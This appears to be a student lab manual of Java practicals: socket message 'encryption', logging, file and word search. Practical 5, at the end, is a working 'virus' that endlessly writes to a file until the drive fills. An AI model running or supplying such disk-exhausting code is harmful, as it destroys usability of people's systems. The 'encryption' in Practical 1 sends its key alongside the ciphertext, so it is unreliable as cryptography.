Practical 1 –Create a java application to send encrypted message from sender and decrypt an message at receiver end.

Receiver.java :

```
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.*;
import java.util.Random;
public class Receiver{
   public static void main(String[] args) throws Exception
   {
      String ct = "";
      String pt = "";
      ServerSocket skt = new ServerSocket(6017);
      Socket sc = skt.accept();
      Random r = new Random();
      int i = 0 , k = 0;
      System.out.println("Enter the String");
      BufferedReader br = new BufferedReader(new
InputStreamReader(sc.getInputStream()));
      ct = br.readLine();
      String[] s = new String[ct.length()];
      s = ct.split(",");
      int[] j = new int[s[0].length()];
      System.out.println("message"+s[0]);
      for(i=0;i<s[0].length();i++)
      {
         j[i]=Integer.parseInt(s[i+1]);
         System.out.println("key="+j[i]);
      }
      for(i=0;i<s[0].length();i++)
      {
         System.out.println("j="+j[i]);
```

```
            pt+=(char)(s[0].charAt(i)-j[i]);
        }
        System.out.println("Message from Sender:"+pt);
    }
}
```

Sender.java:

```
import java.io.*;
import java.io.*;
import java.util.*;
import java.net.*;

public class Sender{
    public static void main (String[] args) throws Exception{
        String s ="";
        String ct = "";
        String key ="";
        Socket sc = new Socket("localhost",6017);
        Random r = new Random();
        int i = 0, k =0;
        System.out.println("Enter the String");
        BufferedReader br = new BufferedReader( new
InputStreamReader(System.in));
        BufferedWriter bw = new BufferedWriter(new
OutputStreamWriter(sc.getOutputStream()));
        s = br.readLine();
        int j[] = new int[s.length()];
        for(i=0;i<s.length();i++)
        {
            j[k] =r.nextInt(50);
            key+= Integer.valueOf(j[k])+",";
            System.out.println("j="+j[k]);
            ct+=(char)(s.charAt(i)+j[k]);
            k++;
        }
        System.out.println("Key=" +key);
        System.out.println("Encrypted message:"+ct);
        bw.write(ct+","+key);
```

```
        bw.flush();
        bw.close();
    }
}
```

Practical 2 – Creating log files.

```
import java.io.*;
import java.util.logging.*;

public class Prac2{
    public static void main (String[] args){
        Logger l = Logger.getLogger(Prac2.class.getName());
        FileHandler fh;
        try
        {
            fh = new FileHandler("C:/Free time/mylogfile.log",true);
            l.addHandler(fh);
            l.setLevel(Level.ALL);
            SimpleFormatter sf = new SimpleFormatter();
            fh.setFormatter(sf);
            l.info("My second log");
        }
        catch(SecurityException e)
        {
            e.printStackTrace();
        }
        catch(IOException e)
        {
            e.printStackTrace();
        }
        l.info("This is CFL Prac 2");
    }
}
```

Practical 3 – Searching file in given directory.

```
import java.io.*;
import java.util.*;
```

```
public class Prac3{
   public static void main (String[] args){
      Scanner sc = new Scanner(System.in);
      System.out.print("Enter Directory:");
      String str1 =sc.nextLine();
      File dir = new File(str1);
      System.out.print("Enter first letter of file:");
      String str2 = sc.nextLine();
      FilenameFilter filter = new FilenameFilter(){
         public boolean accept (File dir , String name){
            return name.startsWith(str2);
         }
      };
      String[] children = dir.list(filter);
      if(children == null){
         System.out.println("Either dir does not exist or is not a directory");
      }
      else{
         for(int i = 0;i<children.length;i++){
            String filename = children[i];
            System.out.println(filename);
         }
      }
   }
}
```

Practical 4 – To Search a Particular Word in a File.

```
import java.io.File;
import java.io.FileReader;
import java.io.BufferedReader;
import java.util.Scanner;

public class WordSearch {
   public static void main(String[] args) throws Exception {
      int cnt = 0;
      String s;
```

```
        String[] buffer;
        File f1 = new File("D://file.txt");
        FileReader fr = new FileReader(f1);
        BufferedReader bfr = new BufferedReader(fr);
        Scanner sc = new Scanner(System.in);

        System.out.println("Enter the word to be Searched");
        String wrd = sc.nextLine();

        while ((s = bfr.readLine()) != null) {
            buffer = s.split(" ");
            for (String chr : buffer) {
                if (chr.equals(wrd)) {
                    cnt++;
                }
            }
        }

        if (cnt == 0) {
            System.out.println("Word not found!");
        } else {
            System.out.println("Word: " + wrd + " found! Count: " + cnt);
        }

        fr.close();
    }
}
```

Practical 5 – To Create a Virus for eating space of particular drive.

```
import java.io.*;
public class practical5{

    public static void main(String[] args){
        try
        {
            FileWriter f=new FileWriter("D:/Virus.dll",true);
            while(true)
```

```
            {
                f.write("Programming Is Such A FUN!!!");

            }
        }
        catch(FileNotFoundException e){}
        catch(IOException e){}
    }
}
```